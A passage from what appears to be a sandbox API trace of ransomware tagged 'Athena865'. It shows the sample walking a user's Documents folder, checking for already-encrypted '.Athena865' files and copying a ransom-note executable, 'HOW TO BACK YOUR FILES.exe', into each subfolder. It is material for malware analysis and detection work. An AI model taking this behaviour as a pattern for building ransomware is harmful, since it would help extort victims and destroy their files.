ftLastAccessTime.dwLowDateTime=0x86b2a690, ftLastAccessTime.dwHighDateTime=0x1d4ca26, ftLastWriteTime.dwLowDateTime=0xc5c25a60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TMvmEmS.m4a.Athena865", cAlternateFileName="TMVMEM~1.ATH")) returned 1 [0100.473] lstrcmpiW (lpString1="TMvmEmS.m4a.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.473] lstrcmpiW (lpString1="TMvmEmS.m4a.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.473] lstrcpyW (in: lpString1=0x241e894, lpString2="TMvmEmS.m4a.Athena865" | out: lpString1="TMvmEmS.m4a.Athena865") returned="TMvmEmS.m4a.Athena865" [0100.473] lstrlenW (lpString="TMvmEmS.m4a.Athena865") returned 21 [0100.473] lstrlenW (lpString="Athena865") returned 9 [0100.473] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.473] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe711330, ftCreationTime.dwHighDateTime=0x1d4d25d, ftLastAccessTime.dwLowDateTime=0xbec13210, ftLastAccessTime.dwHighDateTime=0x1d4ce43, ftLastWriteTime.dwLowDateTime=0xc5c4bbc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wL8XfzGqjG.mkv.Athena865", cAlternateFileName="WL8XFZ~1.ATH")) returned 1 [0100.473] lstrcmpiW (lpString1="wL8XfzGqjG.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.473] lstrcmpiW (lpString1="wL8XfzGqjG.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.473] lstrcpyW (in: lpString1=0x241e894, lpString2="wL8XfzGqjG.mkv.Athena865" | out: lpString1="wL8XfzGqjG.mkv.Athena865") returned="wL8XfzGqjG.mkv.Athena865" [0100.473] lstrlenW (lpString="wL8XfzGqjG.mkv.Athena865") returned 24 [0100.473] lstrlenW (lpString="Athena865") returned 9 [0100.473] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.473] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b56a480, ftCreationTime.dwHighDateTime=0x1d4ce71, ftLastAccessTime.dwLowDateTime=0x57e9c290, ftLastAccessTime.dwHighDateTime=0x1d4ca57, ftLastWriteTime.dwLowDateTime=0xc5c4bbc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xfbb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wQT5F9RHsIBdCm.ods.Athena865", cAlternateFileName="WQT5F9~1.ATH")) returned 1 [0100.473] lstrcmpiW (lpString1="wQT5F9RHsIBdCm.ods.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.473] lstrcmpiW (lpString1="wQT5F9RHsIBdCm.ods.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.473] lstrcpyW (in: lpString1=0x241e894, lpString2="wQT5F9RHsIBdCm.ods.Athena865" | out: lpString1="wQT5F9RHsIBdCm.ods.Athena865") returned="wQT5F9RHsIBdCm.ods.Athena865" [0100.473] lstrlenW (lpString="wQT5F9RHsIBdCm.ods.Athena865") returned 28 [0100.473] lstrlenW (lpString="Athena865") returned 9 [0100.473] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.473] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0047a0, ftCreationTime.dwHighDateTime=0x1d4d3c8, ftLastAccessTime.dwLowDateTime=0x92490db0, ftLastAccessTime.dwHighDateTime=0x1d4cc78, ftLastWriteTime.dwLowDateTime=0xc5c71d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yY03.gif.Athena865", cAlternateFileName="YY03GI~1.ATH")) returned 1 [0100.473] lstrcmpiW (lpString1="yY03.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.473] lstrcmpiW (lpString1="yY03.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.473] lstrcpyW (in: lpString1=0x241e894, lpString2="yY03.gif.Athena865" | out: lpString1="yY03.gif.Athena865") returned="yY03.gif.Athena865" [0100.473] lstrlenW (lpString="yY03.gif.Athena865") returned 18 [0100.473] lstrlenW (lpString="Athena865") returned 9 [0100.473] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.473] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0047a0, ftCreationTime.dwHighDateTime=0x1d4d3c8, ftLastAccessTime.dwLowDateTime=0x92490db0, ftLastAccessTime.dwHighDateTime=0x1d4cc78, ftLastWriteTime.dwLowDateTime=0xc5c71d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yY03.gif.Athena865", cAlternateFileName="YY03GI~1.ATH")) returned 0 [0100.473] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.474] ReleaseMutex (hMutex=0xec) returned 1 [0100.474] CloseHandle (hObject=0xec) returned 1 [0100.474] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0100.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516688 | out: hHeap=0x4f0000) returned 1 [0100.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ae60 | out: hHeap=0x4f0000) returned 1 [0100.474] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 39 [0100.474] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EB2310F89DC61763238607F5BA1AB73A") returned 0xec [0100.474] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.474] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0100.474] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.474] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.475] GetLastError () returned 0x0 [0100.475] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0100.475] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.476] CloseHandle (hObject=0xf4) returned 1 [0100.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.476] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.476] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5ead1c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.476] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.476] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.477] lstrcpyW (in: lpString1=0x241e898, lpString2="-xyaZA U2CnstOD2Db.pptx.Athena865" | out: lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865") returned="-xyaZA U2CnstOD2Db.pptx.Athena865" [0100.477] lstrlenW (lpString="-xyaZA U2CnstOD2Db.pptx.Athena865") returned 33 [0100.477] lstrlenW (lpString="Athena865") returned 9 [0100.477] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.477] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d82590, ftCreationTime.dwHighDateTime=0x1d535d3, ftLastAccessTime.dwLowDateTime=0xebd35510, ftLastAccessTime.dwHighDateTime=0x1d569f4, ftLastWriteTime.dwLowDateTime=0xc5cbdfe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x15b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16kFnlYu4.pptx.Athena865", cAlternateFileName="16KFNL~1.ATH")) returned 1 [0100.477] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.477] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.477] lstrcpyW (in: lpString1=0x241e898, lpString2="16kFnlYu4.pptx.Athena865" | out: lpString1="16kFnlYu4.pptx.Athena865") returned="16kFnlYu4.pptx.Athena865" [0100.477] lstrlenW (lpString="16kFnlYu4.pptx.Athena865") returned 24 [0100.477] lstrlenW (lpString="Athena865") returned 9 [0100.477] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.477] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729bba00, ftCreationTime.dwHighDateTime=0x1d5747d, ftLastAccessTime.dwLowDateTime=0x67d65000, ftLastAccessTime.dwHighDateTime=0x1d56a3f, ftLastWriteTime.dwLowDateTime=0xc5cbdfe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6c70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1RVMA-5c0shFPVx.docx.Athena865", cAlternateFileName="1RVMA-~1.ATH")) returned 1 [0100.477] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.477] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.477] lstrcpyW (in: lpString1=0x241e898, lpString2="1RVMA-5c0shFPVx.docx.Athena865" | out: lpString1="1RVMA-5c0shFPVx.docx.Athena865") returned="1RVMA-5c0shFPVx.docx.Athena865" [0100.477] lstrlenW (lpString="1RVMA-5c0shFPVx.docx.Athena865") returned 30 [0100.477] lstrlenW (lpString="Athena865") returned 9 [0100.477] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.477] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5691d820, ftCreationTime.dwHighDateTime=0x1d52b59, ftLastAccessTime.dwLowDateTime=0x86ff4580, ftLastAccessTime.dwHighDateTime=0x1d57062, ftLastWriteTime.dwLowDateTime=0xc5ce4140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6gDHUsOfdzBpu1Km.pptx.Athena865", cAlternateFileName="6GDHUS~1.ATH")) returned 1 [0100.477] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.478] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.478] lstrcpyW (in: lpString1=0x241e898, lpString2="6gDHUsOfdzBpu1Km.pptx.Athena865" | out: lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865") returned="6gDHUsOfdzBpu1Km.pptx.Athena865" [0100.478] lstrlenW (lpString="6gDHUsOfdzBpu1Km.pptx.Athena865") returned 31 [0100.478] lstrlenW (lpString="Athena865") returned 9 [0100.478] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.478] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4533d4c0, ftCreationTime.dwHighDateTime=0x1d4d30c, ftLastAccessTime.dwLowDateTime=0xc5ce4140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ce4140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="al9qeSvEUMbs", cAlternateFileName="AL9QES~1")) returned 1 [0100.478] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.478] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.478] lstrcpyW (in: lpString1=0x241e898, lpString2="al9qeSvEUMbs" | out: lpString1="al9qeSvEUMbs") returned="al9qeSvEUMbs" [0100.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae60 [0100.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x5399c8 [0100.478] lstrcatW (in: lpString1="al9qeSvEUMbs", lpString2="\\" | out: lpString1="al9qeSvEUMbs\\") returned="al9qeSvEUMbs\\" [0100.478] lstrcatW (in: lpString1="al9qeSvEUMbs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe") returned="al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" [0100.478] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.478] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6044bc0, ftCreationTime.dwHighDateTime=0x1d52237, ftLastAccessTime.dwLowDateTime=0x425d7580, ftLastAccessTime.dwHighDateTime=0x1d534af, ftLastWriteTime.dwLowDateTime=0xc5d0a2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", cAlternateFileName="BDM-N-~1.ATH")) returned 1 [0100.478] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.479] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.479] lstrcpyW (in: lpString1=0x241e898, lpString2="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865" | out: lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865") returned="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865" [0100.479] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865") returned 34 [0100.479] lstrlenW (lpString="Athena865") returned 9 [0100.479] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.479] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ad73fb0, ftCreationTime.dwHighDateTime=0x1d52f26, ftLastAccessTime.dwLowDateTime=0x2d86eca0, ftLastAccessTime.dwHighDateTime=0x1d55394, ftLastWriteTime.dwLowDateTime=0xc5d30400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x17330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DE4p2jrvfdb77XYRN.xlsx.Athena865", cAlternateFileName="DE4P2J~1.ATH")) returned 1 [0100.479] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.479] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.479] lstrcpyW (in: lpString1=0x241e898, lpString2="DE4p2jrvfdb77XYRN.xlsx.Athena865" | out: lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865") returned="DE4p2jrvfdb77XYRN.xlsx.Athena865" [0100.479] lstrlenW (lpString="DE4p2jrvfdb77XYRN.xlsx.Athena865") returned 32 [0100.479] lstrlenW (lpString="Athena865") returned 9 [0100.479] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.479] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0100.479] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.479] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.479] lstrcpyW (in: lpString1=0x241e898, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0100.479] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.479] lstrlenW (lpString="Athena865") returned 9 [0100.479] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.479] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf284e260, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xc5d56560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5d56560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ES3F3HYy", cAlternateFileName="")) returned 1 [0100.479] lstrcmpiW (lpString1="ES3F3HYy", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.479] lstrcmpiW (lpString1="ES3F3HYy", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.479] lstrcpyW (in: lpString1=0x241e898, lpString2="ES3F3HYy" | out: lpString1="ES3F3HYy") returned="ES3F3HYy" [0100.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae18 [0100.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e7b0 [0100.479] lstrcatW (in: lpString1="ES3F3HYy", lpString2="\\" | out: lpString1="ES3F3HYy\\") returned="ES3F3HYy\\" [0100.479] lstrcatW (in: lpString1="ES3F3HYy\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ES3F3HYy\\HOW TO BACK YOUR FILES.exe") returned="ES3F3HYy\\HOW TO BACK YOUR FILES.exe" [0100.479] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.480] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f945a0, ftCreationTime.dwHighDateTime=0x1d510a5, ftLastAccessTime.dwLowDateTime=0xbe0ac8f0, ftLastAccessTime.dwHighDateTime=0x1d4f417, ftLastWriteTime.dwLowDateTime=0xc5d7c6c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x17b10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hm58cOqk.docx.Athena865", cAlternateFileName="HM58CO~1.ATH")) returned 1 [0100.480] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.480] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.480] lstrcpyW (in: lpString1=0x241e898, lpString2="hm58cOqk.docx.Athena865" | out: lpString1="hm58cOqk.docx.Athena865") returned="hm58cOqk.docx.Athena865" [0100.480] lstrlenW (lpString="hm58cOqk.docx.Athena865") returned 23 [0100.480] lstrlenW (lpString="Athena865") returned 9 [0100.480] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.480] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.480] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.480] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181708a0, ftCreationTime.dwHighDateTime=0x1d514b0, ftLastAccessTime.dwLowDateTime=0xfb97bc0, ftLastAccessTime.dwHighDateTime=0x1d55501, ftLastWriteTime.dwLowDateTime=0xc5da2820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xdd10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iipccoSifvOHT1TcFcj.docx.Athena865", cAlternateFileName="IIPCCO~1.ATH")) returned 1 [0100.480] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.480] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.480] lstrcpyW (in: lpString1=0x241e898, lpString2="iipccoSifvOHT1TcFcj.docx.Athena865" | out: lpString1="iipccoSifvOHT1TcFcj.docx.Athena865") returned="iipccoSifvOHT1TcFcj.docx.Athena865" [0100.480] lstrlenW (lpString="iipccoSifvOHT1TcFcj.docx.Athena865") returned 34 [0100.480] lstrlenW (lpString="Athena865") returned 9 [0100.480] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.480] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0100.481] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.481] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.481] lstrcpyW (in: lpString1=0x241e898, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0100.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad70 [0100.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x53ab20 [0100.481] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0100.481] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0100.481] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.481] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0100.481] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.481] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.482] lstrcpyW (in: lpString1=0x241e898, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0100.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad28 [0100.482] RtlAllocateHeap (HeapHandle=0x4f0000, 